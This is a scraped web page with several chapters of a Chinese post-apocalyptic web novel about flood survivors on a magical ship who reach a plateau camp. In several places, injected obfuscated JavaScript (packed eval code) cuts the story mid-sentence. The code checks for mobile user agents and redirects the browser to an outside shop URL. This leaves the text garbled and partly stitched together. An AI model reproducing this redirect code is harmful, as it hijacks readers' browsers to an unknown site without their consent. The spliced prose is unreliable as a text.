尤晴看见所有人都从房间里探头出来，显然是期待已久。 其实她们也不知道这突如其来的病究竟是什么，但是死马当作活马医。 想到这里，她又有些黯然。之前萧丰灿在的时候，她们就算累，也不会真的那么容易死掉，病痛更是与她们无缘。 回神后，尤晴让众人排成几队，开始一个一个分橘子。 最后框里还剩下两个，她有一个，剩下那个……她想起来是谁的了，楼上用冰冻换来这些橘子的人，还没有下来。 “谁是夏语冰的室友？” 一个寸头女孩举起手，头发虽短，却能看出来还是染的红毛。 将最后一个橘子交给她，其他领到橘子的人也都回到队伍里，重新开始排列整齐。 尤晴提高音量，在回音加持下，船舱内的众人听得清清楚楚。 “我们的信号收发器一直在向前方的迁徙大部队传递信号，但大家也都知道，之前经过一次大地震，不知道前方迁徙队伍的状况，信号一直未接通，但我们相信，终有一天，我们能够再次接收到大陆的信号，重新靠岸。” 为幸存者增强信心的一番话效果斐然，至少从前排的人表情看来，大家都很期待。 “目前我们只是在经历一次难关，但我相信，只要我们所有人团结一致，一定能够克服所有困难，一起活下去！” 简短会议结束，接受了精神鼓舞的人各回各屋。 尤晴不经意间回头，却对上沈金兰的视线，她的神情有些复杂，见尤晴看过来，又仿佛如梦初醒，笑了笑才继续上楼。 沈金兰除了休息时间，几乎都待在一楼种植区，作为一个老农民，和土地打交道更让她觉得舒服。 三楼公共区域有张从船里长出来的铁桌，先前尤晴她们上来，就是坐在这儿商议事情。 这会儿萧顺清也坐在这儿。 沈金兰也坐到她面前来，沉默了一会儿才叹息道： “尤姑娘和你姐姐，有点像。” 萧顺清笑了笑：“嗯，她们之前是好友。” 沈金兰目光露出怀念，萧顺清也看向远处的白色天际线。 的确有点像，于是便不像尤晴本人。好似她因为知道“萧丰灿”更能领导好这支队伍，所以将自己套上了萧丰灿的壳子，想要用她的思想来思考。 想着萧丰灿这种情况下会说什么话，会做什么事，觉得只要萧丰灿在，就能正确处理。 但是，她终究还是尤晴，而她只想着模仿萧丰灿，忽略了更多的实际情况。 譬如，真的所有人都想再回到陆地上吗？ 铁门关上，13号房间内响起了小声试探的声音。 “等找到大部队，咱们真的要下船啊？” “应该吧，尤队长不是这么说了。” “……” “船上的情况，也没那么糟吧，我倒觉得，比陆地上好多了，不被雨淋不被风吹的。” “……” 说一阵沉默一阵，有些不同寻常的思绪传递给房间内的三人。 20号房内。 “尤队长那么说是不是快联系上迁徙大部队了？” “应该吧，我看船开得挺快，比我们用腿跑可快多了，之前都是物资坐车，现在咱们也休息上了。” “呵，等上了岸，那还能有这么舒服。” “……你不想下船？” “那你们说，等上了岸，我们分到的物资还能带在自己身上吗？是不是又要交上去等分配。” “不交上去，你背着跑？跑得动吗。” 小声的讨论在偶尔几个房间内兴起，也许是知道这样“贪图”安逸的想法可能会被其他人鄙视，她们只在小房间内说说，还不敢理直气壮和尤晴等管理人讨论。 但等到情绪生根发芽，就像是大树在心里扎根，轻易是拔不起来的。 兢兢业业冻冰块的夏语冰终于按照要求冻完了一屋子的冰块，整个房间宛如寒冬，光是在门口坐着都冷得打颤。 夏语冰手里还拿着两个冻好的水瓶，看了一圈，不知道给她鸭蛋的那个男人住哪间。 萧顺清也看见她哆哆索索的模样，让她过来坐一会儿，还给她倒了一杯温水。 “你是冰系异能，也会怕冷？” 夏语冰点点头，感激地接过水喝了一口，胃里舒服了，手上的温度却把温水变成了凉水。 这是她异能使用后遗症，毕竟手一直接触低温的东西，没有冻伤也算她异能有良心。 萧顺清垂眸考虑了一会儿，问她：“你着急下去吗，不介意留一会儿可以去那个房间门口坐坐。” 夏语冰顺着她的手指看去，没看出那个房间有什么特别的，但是她觉得三楼的人都特别好，这里带着也很宽敞舒服，多待一会也没事。 “好，谢谢。” 萧顺清嘴角上扬：“不客气，你随意。” “这个，是刚刚换我鸭蛋的冰块。” 萧顺清接过，将它放回了冰屋。 “他想要可以随时自取。” 夏语冰隐隐明白，其实她已经答应给三楼的人冻一整屋的冰块，那个人特意给她送鸭蛋，并不是真的为了冰块而来，只是看她不收，所以“公平交易”。 沈金兰坐了一会儿，和萧顺清说了会儿话就回了自己房间。 为了让夏语冰感觉更自在，萧顺清也离开了三楼。 三楼公共区域内，夏语冰身体姿态果然更放松。 来到萧顺清指的房门口，忽然觉得一阵温暖。 她惊讶地想摸摸铁门，却发现手上凝结了一层水。 是空气冷热碰撞，使得她的手上满是水珠。 这房间内有热源，而且很热，对她而言，是很暖和。 怪不得在二楼时，总能感觉楼顶像有个火炉。 她坐了一会儿，浑身舒适，和别人怕热不同，因为异能，她，每次使用和使用之后都会觉得特别冷，好像血液都凝固一样。 现在在这儿坐一会儿，血脉流动，感觉像是冬天窝进羽绒被里，让她完全不想动弹。 舒服了一会儿，夏语冰想起自己还有两个鸭蛋，忍不住把其中一个放在门口，希望能烤熟。 三楼的人，可能光论物资比不过她们，但是论起物资的优质程度，却是她们这些后来的幸存者远远比不过的。 这些新鲜的蔬菜水果，甚至还有肉蛋，多么美好的生活。 要是她……她也能留下来，就算不住在三楼也可以。 夏语冰回到二楼时，没有直接回自己房间，绕过在走廊通风透气的人，走过一个个错落排布的房间，她来到30号房间门口。 “李艳梅。” 一个面容蜡黄的女人走了出来，她嘴角向下，有些苦相，眼里没有什么情绪，看着死气沉沉，一点也看不出她是个异能者的样子。 “找我做什么。” 夏语冰之前和她有过接触，直到她只是不爱笑，人还是很好一大姐，于是拿出了那两个鸭蛋，脸上明显闪过心疼。 递出一个，“我在三楼换了吃的，你帮忙把它弄熟，我给你分一个。” 她还是很大方的，而且李艳梅是火异能，之前她用完异能觉得冷都是让李艳梅帮忙回暖，投桃报李，有好东西她也愿意分享。 放在洪水来临前，一两个鸭蛋根本不算什么，但是现在这世道，这可是毋庸置疑的好东西。 李艳梅常年没什么光的眼睛都亮了。 “这是，这是三楼换的？用什么换的，还有吗？” 夏语冰歪着身子看了一眼屋内，“你要不跟我到我屋里说。” 李艳梅回头，两个室友猛地把脑袋收回去，只看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954390|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残影。 “好。” 夏语冰回到房间，自己床铺上多了一个橘子，应该是室友给她带回来的。 她们这儿的气氛还好，虽然不怎么说话但确实很有分寸，至少不会偷拿她东西。 李艳梅那边就不怎么样了。 她们这些异能者在队伍中并没有多少优待。 在陆地上时，虽然异能者可以换班上车休息，但为了不让普通人觉得异能者就了不起，普通人只能等死，异能者的吃喝方面没有差别。 而上了船之后，她们的唯一优待也没有了。更因为异能者存活的比例更高，有些普通人的心里不平衡，还认为是异能者没有保护好普通人。 “高高在上，自以为有了异能就了不起，根本不把我们普通人的命当命。” 李艳梅就是听着这些议论声和链各个普通人室友住在一起，总是被被明里暗里拿话刺。跟尤晴和其他管理人反映，她们反倒让异能者不要欺负普通人，毕竟从体力和能力看，似乎都是异能者更能凌驾于对方之上。 那些人只是说说，要是李艳梅真的用了异能，那可是实打实的伤害。李艳梅憋着一肚子火，完全没处发。 天知道她从来不觉得自己的异能让自己有了什么特殊地位，她能从地震里跑出来，难道是因为她的火开了无敌风火轮？ 神经。 夏语冰把人带进房间内。船上没有做饭的地方，但好在处处都是铁皮，她们根本不会嫌弃没有锅铲。 夏语冰收拾出来一个地方，把蛋和葱都放一起，让李艳梅用火烧熟。 李艳梅的火能够直接外放，但再大的火也怕水浇，之前在幸存者队伍里，她跟没有异能的人也没有什么区别。 她们弄熟了两个蛋，李艳梅拿着自己那份吃起来，没有盐味，但是是很久没有吃到的热腾腾蛋饼，香得她两口就吃掉。 一转头，夏语冰却在跟室友分食。她们这儿气氛是好点，但李艳梅现在对普通人好感都一般，在她看来夏语冰的室友都是在白吃。 不过这是夏语冰自己的事，她没有立场管。 打算要走，李艳梅又转身，葱香蛋味还在嘴里，忍不住舔了舔嘴唇。 “那个，三楼的东西，你是用什么换的？” 夏语冰愣了一下，随即反应过来李艳梅认为跟三楼换东西很贵。 刚想要说，但是转念一想，其实三楼愿意给她吃的，多半是因为她付出了冻冰块的劳动，如果她真的说很容易换到，甚至是白送的，那普通人听见了会不会都上三楼要人给她们换东西？ 这些东西珍贵，要是所有人都去换，总有人换不到，到时候还会给三楼的人惹麻烦。 还是说得门槛高一些，愿意试试的就去试试。 “应该是随缘，或者看她们心情吧，我不是有异能吗，她们刚好想要我帮忙，跟她们中的一个人换的。要是没得换，也正常，毕竟这些东西不会很多的。” 夏语冰猜对了一件事，那就是萧顺清她们愿意换的东西并不多。 这两个鸭蛋给出去，她们也很心痛，现在小鸭子没长大，老鸭子偶尔两天下一个蛋，她们平均一天收一个，但还要留着看看能不能继续孵化。 她们平时都是把鸭蛋各自存起来，而且只能吃溏心蛋。 但是舍不得孩子套不着狼，没看经过暗示，夏语冰这个冰异能立刻找了火异能帮忙做熟吗？ 专门还送了一点葱，就是想让夏语冰找火系异能帮忙，传递三楼很好这个信息。 萧顺清没有告诉其他人自己知道火异能的事，她自己暗中促使，希望这根线能拉上越多鱼越好。 冰火异能者正在慢慢上钩，另外一边，二楼的管理队伍有些坐不住了。 “又有两个人生病，这真的是坏血症吗？” “我宁愿是，如果是缺乏维生素C引起的病，跟她们做交换还能治，要是别的病，我们能怎么办？” 她们队里唯一的治疗系早就没了。 “我明天再去找她们问问，多久能靠岸。” 靠岸就能好吗？她们缺的是治疗，就算没有治疗系异能，有专业的医生或许也能提供一些医疗保障。 但是无论如何，留在船上，死的人会更多，她们焦虑是正常的。 53.瀑布 尤晴跟人承诺便说到做到，后面两天经常上三楼问究竟多久能到。 最后把接待她的苏凤晚问得都有点不耐烦了。 “我们又不会把你们卖去非洲！究竟什么时候能靠岸，离高原究竟还有多远，我们也不知道啊。” 尤晴叹气：“之前我们的队伍已经走到汉沽隧道，和前面的队伍相隔不远，船这么快，按理说应该会比步行要快？” 她问的也很合理，船的速度比她们人的速度快了不知多少，但这船迟迟不到，她们看着一望无际的水面看得焦虑。 苏凤晚：“这船没有指南没有定位，连个信号发射器都没安装，我们也确定不了。再说了，我们走的是水路，只能确保一直在往高处走，究竟走的哪边，我们也确定不了。” 尤晴看了她一会儿，忽然低声问道： “这艘船是你的吗？” 苏凤晚下意识要否认，还好忍住了，她笑了笑。 “呵呵。” 也不说话，猜也猜不着。 尤晴这些日子一直琢磨这几人的异能状况。其实她更想说服这艘船的主人加入她们，大家一起为了更多人活下去而奋斗，拯救全人类。 据她观察，三楼仅仅七人，至少有五个异能。 一个可以传音的异能；之前第一次见面有人有一个防护罩的异能；而船上源源不断的净化水，说明这里还有一个跟水有关的异能；也许船上那么多的新鲜食物还意味着有一个木系异能。最后是这艘神奇的船。 七个人就有五个异能者，这概率也太高了。 而且都很有用，之前萧丰灿看见她的异能后，便努力说服她加入了迁徙队伍，而现在，她觉得自己也应该为队伍吸纳优秀的异能者。 “苏小姐，我觉得你们的异能都很厉害，不应该只偏安一隅留在船上，不如加入我们迁徙部队，有了你们的加入，我们一定能够活到最后，延续人类的希望！” 苏凤晚神色慢慢尴尬，她看着尤晴认真的样子，知道她是真心这么认为。 她忍不住问：“当初，是有人跟你说，你加入就能成为人类的希望，所以你才留下来的？” 尤晴目光一滞，有些怀念：“嗯，是她点醒了我。” 苏凤晚回想了一下，当初第一次见面，她那是好像刚升级，意识并不集中，但对方那时中二却潇洒。 她的确认为自己是上天选中的，所以心甘情愿为拯救人类最后的火种付出。 但是苏凤晚不得不撕破尤晴的幻想。 “我们，至少是我，并不想当奉献自己的救世主，也没有被上天赋予什么使命，我只有一个愿望，让自己好好活下去。” 马斯洛需求层次有五个，她们连最基本的生存和安全都不能保证，还追求什么自我实现的高层次需求？ 苏凤晚觉得好笑，又不像嘲笑尤晴的天真。 因为她是真的这么认为，还被人用相同的说辞拉入了伙。 听到她的话，尤晴很是失望。 “希望这艘船的主人不是你。” 她起身离开，苏凤晚理解她的意思。 尤晴最想拉入伙的是船的主人，所以希望船的主人不像她这么想，但是她很肯定，萧顺清绝对比她还要坚决。 不然，当初遇见萧丰灿的时候，她早就留下了。 至于尤晴关心的另一件事，船到底什么时候能到。 她们也确定不了，而且也很急。 她们中唯一能够用来确定距离的异能是周莹，经过升级，周莹的异能范围至少100千米，还能同时连上四个人。 周莹一直用来联系她的家人，毕竟这是少有的她能够满足其他联系条件的人，但没有结果。 有一种可能是周莹的家人早就没有了，那她们更加无法确定还有多远，另一种可能是，萧顺清走错路了。 又过了一天，她们也终于确定，萧顺清应该是真的走错路了。 她是沿着水流方向逆流行驶，但进入第一阶梯的地形十分复杂，群山连绵，光看孕育的三大河流都拥有不同走向就能知道，也许最终她们都能达到最高处，但是从东西南北哪个方向进入就不一定了。 米诺高原孕育了三条河流，其中一条名气并不如另外两支，但却拥有最大的落差，形成的瀑布堪称世界奇观。 这就是米纳布达江，想要从河流下游行驶到上游，无异于翻阅一座高山。 当萧顺清感觉到船底的冲力越来越大，而眼前出现几乎悬于天上的瀑布。 滚滚黄水，似乎从天而落，她们看不见瀑布那头的风景，一道汹涌的水幕遮住了一切。 萧顺清一时没有说话，只是静静看着水面，船在不停打转。 二楼，同样有人发现了她们似乎步入了死胡同。 身旁众人十分担忧。 苏凤晚：“怎么办，这是不是米纳布达江，之前从没有遇见过，很凶险。” 萧顺清轻轻嗯了一声。 瀑布的水流落差有多大，此时她能够通过船身清晰感知到。正因为清晰感知，其实她觉得，自己能冲过去。 不过，冲力足够，安全却没有保证，而且，就算冲了过去，万一对面是小溪流，她这艘大船就要搁浅。 她看向周莹，轻唤一声：“周莹，怎么样？” 周莹从眼前的自然奇观反应过来，专心在心底一个个联络过去。 这一次，沉入大海的石头终于被浪卷起，给予了她回应。 她热泪没来得及盈眶。那声音却又断了，断断续续，似乎她们彼此就正处在周莹能联系到的最远的地方。 而船正在波动，导致她的信号时强时弱。 “顺清姐！她们就在前面！” 前面100千米也是前面，至少这是这么久以来，她收到的少有的好消息。 萧顺清呼出一口气。 她道：“那这瀑布是非闯不可了。” 苏凤晚：“真要这样？太冒险了吧，我们是不是绕一绕进入别的河流流域比较好？” 周莹心急如焚，努力打听那边的消息，但是信号常常中断，她根本不能收到更多信息。 萧顺清拍拍她肩膀：“放心，至少确认了还活着，这是最好的消息。” 周莹眼泪汪汪点点头。 身后，尤晴大步走到三楼。 “这是怎么回事，这里又是哪里？” 所有人齐齐回过头，尤晴带着不少人，这还是头一次三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好久没有体会过，在萧顺清的船上还得绑安全带的做法了。” 要论起来，当年还是艘小破船的时候，就连遇见大一点的浪都得用别的东西固定自己。 所有人整装等待。 她们原本有的还好奇船渡过瀑布的姿态，但萧顺清将船的所有窗口封死，就连三层船头都封闭上。 除了她，没有人能够从船内看到船外。 而高空中的尤晴，就这么看着一个庞然大物，违反了它原本应该十分笨拙的设定，宛如天地倒转，似乎它并没有逆流而上，而是顺流而下。 如此轻巧，沉着，平稳地行驶在几乎垂直的水面上。 最后，她们驶入一片宽阔的坦途，奔腾的黄水仿佛成了康庄大道，迎接着这艘巨轮驶入。 一切都被尤晴收入眼底。 而另一个看清的人，便是萧顺清。 她能够看见船周的一切，自然也看见了飞过瀑布，她们真正进入一条河流。 就算它波涛汹涌，就算它如猛兽勇悍，可它的两边是褐色陆地，而非看不见边的水，那它就是河流。 光明再次柔和闯入船内，所有人还没从失重中调整好，便欢欣鼓舞。 “到了！真的到了！！” 54.上岸 滚滚黄沙，东逝滔滔。 仿若金沙盈满的江上，托载着一艘轮船，游走在丝绸般柔滑的江面，宛如刺绣中活过来的名贵山水画。 “我感觉我高反突然犯了。” “去你的吧，这就刚升高一百多米吧……太难了，我们终于到高原了。” 尤晴从空中落下，整艘船上的人都在喜悦欢呼。 无论在心底曾有什么念头，这一刻，看见此情此心中也只有终于得救的激动。 尤晴直接落在了三楼船头。 “我立刻让人发送信号！” 她匆匆下楼，萧顺清原本想要说些什么，却没来得及。 既然尤晴已经开始联系大部队，那估计她们很快就要走上不同的道路。 有些话，到那时候再说吧。 她看向周莹，此刻周莹已经激动得浑身颤抖。 “怎么样，情况如何？” 周莹：“是我妈妈，我妈妈在一个异能者小队里！她现在很好，但是她说她离河边很远……我们，我们怎么办啊？” 萧顺清抓住自己关注的重点：“异能者小队？她没有跟着大部队？” 周莹没有立刻回答，应该是在和那边进行沟通。 不过很快，她将消息传递过来。 “这里的状况很好，有很多分散的小驻扎地，还有军队接管的大基地，两岸都有幸存者生活。” 不用统一管控也能安然生活，情况比萧顺清预想的好得多。 “顺清姐，她们在河右岸！我们，我们能上去吗？” “上岸的事先缓缓。你母亲所在的异能小队有治疗系吗？” 她心里一直惦记着要治好李自的手。李自是她们中战斗力最强的人，况且还是为了救她姐姐受的伤，能够尽快恢复是最好的。 周莹又安静了一会儿，神色变得凝重。 “没有，治疗系异能都被大基地招募了。不过，我妈妈所在的异能者小队有人是苗医，医术很好。还有，顺清姐，我妈妈告诉我说，进入大基地都要登记异能，而且她们有异能者可以直接测定真正的异能。我们是先去哪儿？” 周莹当然更想快些与母亲团聚，但她要听萧顺清的。 况且顺清姐是为了治好李自哥，他已经痛了那么久了。妈妈就在那里，很安全。 她垂下头，等着萧顺清思考。 萧顺清在听见大基地必须登记异能才能进入之后有点心生疑虑，虽然大基地要求信息透明她能够理解，但是总觉得在天灾下还做到这份儿上有些古里古怪的。 而且并不是要求实名，是特意强调异能。 周莹的妈妈为什么特意强调这一点？ “为什么要测异能，你妈妈知道为什么大基地一定要这么做吗？” “为了异能者不引起基地里动乱，保证大家的安全。”周莹抿了下嘴，将母亲的后半句话转述出来，“但是我妈妈说，有些很特殊的异能，进入大基地之后就没有再出现。” 合理的理由，不合理的举动。 因为她并不想公布自己的异能，对这件事本能有些抗拒。况且，从周莹母亲补充的话能够听出，周莹母亲对大基地的怀疑。 周莹母亲可以作为一个信息来源，但仅一个人的信息不能全信。 她看似闭上眼睛，实际正在查看尤晴那边的状况。 她们并没有联系上大基地。 之前在迁徙部队之间传递消息的收发器好像变成了破铜烂铁，没有回音。 尤晴忍不住怀疑她们究竟到了哪里，难道说还没有部队到达高原进行驻扎？ 二楼的信息陷入僵局，而萧顺清在心中与三楼的几人商量接下来的事。 等到尤晴上来，等待她的是整整齐齐六个人，除了那天见一面之后就不见的陈阳，都在这儿了。 “没有联系上部队，但我们应该没有走错地方，这里的确是米诺高原腹地。” 萧顺清点头：“那你们打算怎么做？” 尤晴迟疑：“继，继续找？” 萧顺清反问：“当时你们整个大部队迁徙的时候，会靠近河流吗？” “当然不会。” 河流代表随时可能上涨的洪峰，除非她们完全避不过，否则一定绕着走。 “那你想联系的幸存者大部队也不会顺着河流走。船不一样，船只能在河水里行驶。” “所以，你是想现在分道扬镳？” 尤晴觉得萧顺清是想让她们现在下船，不然会错过远离河岸的大部队，但她显然又没预料到萧顺清的想法。 “就算要分道扬镳，你能确定你要找的方向在哪边？算了，不用再猜了，我的意思是，先让一小部分人分别去河两岸查看情况，不然动辄全军出击，你们也不怕麻烦。” 苏凤晚帮腔：“你怎么脑子里都想着分道扬镳，说出去还以为我们赶你们下船呢。” 尤晴耳根红了一下，确实是她自己没有想到先看看河两岸各自的情况。 中间隔着一条大河，她们要是全去了左边，结果大部队在右边，一群人离开萧顺清的船根本没有办法过河，试错成本高。 既然萧顺清现在提出这个建议，想必也是愿意暂时在河流中等待她们先与大部队建立联系。 “好，那我这就去组织人手。” 萧顺清：“等等，我们也要去，人数不用太多，便于行动更好。” 尤晴又忍不住反问：“你们也要去？” 她差点以为这些人要就此下船，在高原安营扎寨了。 但是萧顺清只是道：“我们也要查看情况和搜集物资，目标差不多，信息共享就能事半功倍。” 尤晴很高兴，她觉得三楼的异能者都挺厉害的，而且愿意主动下船探查信息，省了她去动员更多二楼幸存者。 不过再怎么样她们也能出点人的，尤晴自己算一个，最后还有另外四个异能者报名。 有熟人也有陌生人。 尤晴率先介绍道：“夏语冰，冰异能，李艳梅，刘春还有张蔷。” 除了夏语冰，其他人的异能都没有介绍。毕竟三楼的异能也都是保密的，除了夏语冰因为交换物资透露了出去，其他人她觉得公平起见都没有说。 萧顺清点头，几人简单自我介绍一番。 “那你们去河左岸，我们随时保持联系。” “好。” 而苏凤晚则紧接着开口：“不如打散分组吧，彼此监督，免得冲动起来做了多余的事。” 尤晴皱起眉头：“什么意思？” 名叫张蔷的女人却很快安定住她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984059|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好，我觉得打散分组不错，尤队长，两边都有自己人更放心。想必你们也是这么考虑的？” 张蔷对三楼的戒心更重，她其实也想交换一下组员，让自己这边有人看着她们。 说真的，她都怕三楼的人要是找到了大部队直接跑路。别说什么船还在这儿，那肯定是异能，神奇之处还隐藏着不会让她们知道。总之有她们自己的人互相制约，彼此都放心。 苏凤晚笑了笑：“当然。” 萧顺清就拍板道：“那我们这边李自……一个就够了吧。” 尤晴和张蔷换了下视线，张蔷出声又将苏凤晚要了过去。 她觉得苏凤晚看着像比较重要的人，建议也很有分量，在三楼至少有话语权，把苏凤晚要过去，比较有利。 苏凤晚脸僵了僵，还是同意了。 这边就是张蔷自己主动报名，还有一个是萧顺清开口要的夏语冰。 “夏女士和我们之前就认识，我们更想接受熟面孔，可以吧？” “当然。” 于是两队分开走，萧顺清先靠一边岸，送苏凤晚、李自、尤晴、李艳梅以及刘春去了左岸。三楼的人都知道，大基地就在这边。 所以，为了治手下船的李自是一定要送过去的，而剩下一位，苏凤晚和陈师望都可以，毕竟她们的主要目的是探听消息。而且，如果周莹妈妈说的消息属实，进入大基地需要验证异能，那她们三个的异能都还算正常。 周莹要见母亲，萧顺清不能暴露，这边混淆视听的加上沈金兰和一个没被对面选中的陈师望，也足够了。 夏语冰进队之后对她们笑了下，态度很友好，在场存了挖人心思的都很满意，进度不错，这次下船再刷刷好感，成功率就高了。 送完一队下船，船靠向，总数六人的小队出发。 张蔷特意留意了一下，没有人回头，但那船就这么悠悠开到河中央，一点也不晃荡。 可能船的主人没有下船吧。 她们一起赶路，累了就歇一会儿，吃点东西。 都是轻装上阵，毕竟虽然张蔷和夏语冰不明情况，但另外四人几乎是直奔目的地，也能根据周莹的异能探测出大概距离，就连沈金兰都没有怎么拖慢队伍。 约莫十几个小时，天擦黑一次，她们到达目的地。 远远的，只见青葱的山映入眼帘，更远的天边，是几乎和灰蒙蒙天空融为一体的雪山。 这是普通人看见的，而队伍中，张蔷的视角里，她看见了蚂蚁一般大小的人从山里往下跑。 “有幸存者！” 她下意识宣布，萧顺清等人没有看见人，但周莹已经迅速反应过来。 她在几个同伴身边道：“是我妈妈！她说看见我们了。” 张蔷也能看见对面，这是跟视力有关的异能？ 她们无心猜测，毕竟已经到了认亲的时候。 周莹倒腾两条腿，冲得比谁都快，一马当先闯入营地。 这里显然是一些幸存者的驻扎地，除了帐篷搭好的住所，在山脚还能看见一些明显种植出来的作物。 而周莹看准了一个女人的身影，扑了上去。 母女二人紧紧相拥，一句话也没有说，甚至就连眼泪都没有流下，只是用笑容庆祝着她们的重逢。 55.末世 周莹的母亲名叫周佳燕，约莫四十多岁，面容仓皇憔悴，看得出洪灾带给她的摧残。 她头上戴着雨笠。身上也披着蓑衣，身后的几人也都这幅打扮。 周佳燕取下自己的雨笠给周莹戴上，被周莹拒绝。 “那先回营地聊。” 她们的营地的确算得上一个五脏俱全的聚集地。起房屋作用的帐篷，像是牧民会使用的蒙古包样式，比一般帐篷看起来更加结实。帐篷周围搭着雨棚，底下种着矮矮的看不住种类的作物。山脚向上两米多，由简陋的石梯连接，有一个山洞，里面燃着火光。 母女二人走在前头，张蔷的目光从那两人身上挪开，又打量了一圈周围的环境，最后皱着眉落在了萧顺清身上。 走到萧顺清身边，低声在她耳边问： “你们一开始就知道这里有人。” 这是猜出来了。毕竟她也不傻，看周莹和周佳燕相认得那么痛快，完全就是事先知道彼此的存在。 萧顺清没有否认：“的确你们先知道。” 张蔷一把拉住她，怒目而视：“你们明知道这边有人，还让尤晴带队去另外一边，你们想做什么？” 夏语冰连忙拉住张蔷，而陈师望也将半个身子挡在两人中间。 萧顺清拨开陈师望，皱着眉问张蔷：“你什么意思，觉得我们故意给尤晴指错路要害她？” 张蔷一怔，是啊，这些人没有必要专门害尤晴，而且交换队员这件事是她们先提出来的，说明那边不会出什么事。 她缓和了语气，继续问：“那为什么不早点告诉我们这里的情况，很明显，你们队伍那个能够传音的异能者早就确定了这边由你们要找的人，可你们偏偏让尤晴去了另外一边，这难道不是专门为了支开尤晴？” 萧顺清冷静道：“尤晴是一点不想，你是想得太多，我们要来这边是因为我们要找的人在这儿，又不是说那边没有幸存者的消息，要是足够幸运，或许尤晴她们的收获比我们的更多。” 张蔷正在琢磨萧顺清的话，却见周佳燕转过了头，目光在她们身上打量了两眼，主动开口解释。 “你们有人去了河对岸？那应该不会出什么事，那边是政府组织的大型基地，名叫未来，你们要是也想过去，等等每隔三天的渡河队就好。” 张蔷听见河对岸是政府组织，立刻脚步都虚浮了，恨不得立刻飞过去。 她们要找的是什么，不就是政府组织的队伍吗。只是她们一开始还在路上逃亡，没想到这就直接一步到位了。 张蔷手上一松，萧顺清便又继续往前走了。 她事先对这里有过一点概念，不至于觉得陌生。 高原地带原本应该紫外线严重，不过乌云厚得堪比城墙，这一点并不用担心。但是高原反应最突出的一点便是缺氧，萧顺清自己没有感觉，还以为是如今的天气有了什么新变化。 但是很快她便看见那些帐篷里放着些氧气瓶。 高原反应依旧存在，只是对她而言不严重。 沈金兰年过六十，平时走路就喘，她也没有额外注意，此时再看她，明显看出她身体有些不适。 正想关心，见她看过来，沈金兰却笑了笑。 “只是有点喘不过来气，还好，不是很严重。” 周佳燕又回过头来，温和解释： “一点点喘不过来气可以再观察观察，经过未来基地的研究，其实大部分异能者都能够适应高原的氧气含量，这是天灾之后，人类应变灾难的一种进化。看这位奶奶的年纪，如果不是异能者，应该走不到这儿来吧，我也只是猜测一下。” “那那些氧气瓶？” “那是给我们队伍里普通人用的，未来基地每隔三天会派出渡河队，其他队里的普通人有需要，就可以去换。” 渡河队，这是周佳燕第二次提起，看来是未来基地推出的东西，用来联系河两岸的幸存者。 但是萧顺清这时就有些不解了。未来基地对洪水后异能者的进化进行了研究，说明未来基地应该有较强的实力，甚至能够腾出手来搞科研。 以及，听周佳燕的语气，其实对未来基地并不排斥，甚至有些推崇，队伍里有普通人存在，未来基地也考虑普通人的生存，看起来理念并没有不一致。 那这是为什么会分开驻扎？ 张蔷显然也有这样的疑惑。 “何必这么麻烦，为什么你们不去未来基地？” 说话间，她们已经进了一间帐篷，内部简陋但井井有条，各类东西分区摆放，看起来还属于不同的人。 这间帐篷住着的不只周佳燕一个人，生活条件不怎么好。 并没有倒茶招待的流程，所有人甚至席地而坐，等待着询问或者解答问题。 周佳燕娓娓道来。 “想要进入未来基地也没有那么容易。未来基地十天前宣布不再接受普通人进入，因为基地内的供给不足，而高原上，虽然条件不好，但好歹是真的陆地，能够找到的生活物资并不少。这几天，从未来基地里出来的普通人可不少。” 这个理由张蔷能够接受。 毕竟高原生活看着也挺稳定，既然大家能够自力更生，倒也没有必要挤在未来基地中。 但周佳燕的语气忽然悲伤起来。 “其次，就是没有必要聚集在一起，反正都是等死。” 所有新来的人齐齐瞪大眼睛，不敢相信自己听到了什么。 到了高原，难道不就是逃出生天了吗？怎么会是等死，怎么脸政府组织的大型幸存者基地都在等死？ 萧顺清很快提出问题所在： “这也是未来基地发布的消息？直接告诉民众等死？” 她本以为自己问的措辞有点直接，但周佳燕竟然干脆点头，甚至没觉得她说的有什么不对。 “没错，未来基地一直在监测计算水位，结论就是，如果下雨均衡，按照之前一段时期的降雨量计算，也许再过六个月，地球上最后一块陆地就会被淹没，而在那之前，人类应该就已经死在了各种情况下，饿死，淹死，被怪物吃了，或者，受不了绝望，选择自己了断。” 帐篷内一时无声，直到周佳燕动了动脑袋，侧耳倾听，似乎帐篷外有什么声音。 “是狩猎的人回来了。” 她这么解释了一句，几人这才从门口看去，没有看见人影。 周佳燕：“我的异能是[倾听]，听力很敏锐。对了，正好，你们也不用这么垂头丧气，说到异能，如果你们有特别异能，进入到未来基地，说不定可以有机会活得更久。” “特别异能？” “未来基地有一个异能者，她的异能是检测异能者的异能名称，并不是根据异能表现简单总结。举个例子，也许这个人的异能是跑步特别快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 